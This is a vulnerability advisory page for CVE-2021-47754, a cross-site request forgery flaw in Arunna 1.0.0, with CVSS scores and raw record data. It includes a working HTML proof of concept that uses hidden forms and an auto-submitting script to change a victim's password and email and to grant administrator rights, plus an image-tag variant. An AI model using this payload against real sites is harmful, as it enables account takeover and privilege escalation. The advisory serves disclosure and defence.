Security Vulnerability Report
中文
CVE-2021-47754 CVSS 6.5 MEDIUM

CVE-2021-47754

Published: 2026-01-15 16:16:06
Last Modified: 2026-01-26 16:15:55

Description

Arunna 1.0.0 contains a cross-site request forgery vulnerability that allows attackers to manipulate user profile settings without authentication. Attackers can craft a malicious form to change user details, including passwords, email, and administrative privileges by tricking authenticated users into submitting the form.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:arunna:arunna:1.0.0:*:*:*:*:*:*:* - VULNERABLE
Arunna 1.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2021-47754: Arunna 1.0.0 User Profile Modification --> <!-- This PoC demonstrates how an attacker can modify user profile settings --> <!-- by tricking an authenticated user into submitting a malicious form --> <!DOCTYPE html> <html> <head> <title>CSRF Attack - CVE-2021-47754</title> <style> body { font-family: Arial, sans-serif; padding: 20px; } .malicious-form { display: none; } </style> </head> <body> <h1>CVE-2021-47754 CSRF PoC</h1> <p>This page demonstrates the CSRF vulnerability in Arunna 1.0.0</p> <!-- Hidden form for password change attack --> <form id="csrfForm" class="malicious-form" action="http://target-site/api/user/profile/update" method="POST"> <input type="hidden" name="user_id" value="1"> <input type="hidden" name="password" value="AttackerP@ssw0rd123"> <input type="hidden" name="email" value="[email protected]"> <input type="hidden" name="is_admin" value="1"> <input type="hidden" name="action" value="update_profile"> </form> <!-- Alternative: Form for privilege escalation --> <form id="adminForm" class="malicious-form" action="http://target-site/api/user/admin/privileges" method="POST"> <input type="hidden" name="user_id" value="1"> <input type="hidden" name="role" value="administrator"> <input type="hidden" name="grant_admin" value="true"> </form> <script> // Auto-submit the form when page loads window.onload = function() { // Option 1: Change password and email document.getElementById('csrfForm').submit(); // Option 2: For privilege escalation (uncomment if needed) // document.getElementById('adminForm').submit(); }; </script> <!-- Alternative: Image-based attack (no user interaction) --> <img src="http://target-site/api/user/profile/update?password=MaliciousPass123&[email protected]" width="0" height="0" border="0" style="display:none;" onerror="this.style.display='none'"> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-47754", "sourceIdentifier": "[email protected]", "published": "2026-01-15T16:16:06.170", "lastModified": "2026-01-26T16:15:55.070", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Arunna 1.0.0 contains a cross-site request forgery vulnerability that allows attackers to manipulate user profile settings without authentication. Attackers can craft a malicious form to change user details, including passwords, email, and administrative privileges by tricking authenticated users into submitting the form."}, {"lang": "es", "value": "Arunna 1.0.0 contiene una vulnerabilidad de falsificación de petición en sitios cruzados que permite a los atacantes manipular la configuración del perfil de usuario sin autenticación. Los atacantes pueden crear un formulario malicioso para cambiar los detalles del usuario, incluyendo contraseñas, correo electrónico y privilegios administrativos, engañando a los usuarios autenticados para que envíen el formulario."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:arunna:arunna:1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "2DA8B411-C3DE-46EB-B630-699AF1919400"}]}]}], "references": [{"url": "https://github.com/arunna/arunna", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://web.archive.org/web/20211216074128/https://lyhinslab.org/index.php/2021/11/29/how-white-box-hacking-works-xss-csrf-in-arunna/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/50608", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://web.archive.org/web/20211216074128/https://lyhinslab.org/index.php/2021/11/29/how-white-box-hacking-works-xss-csrf-in-arunna/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/50608", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit"]}]}}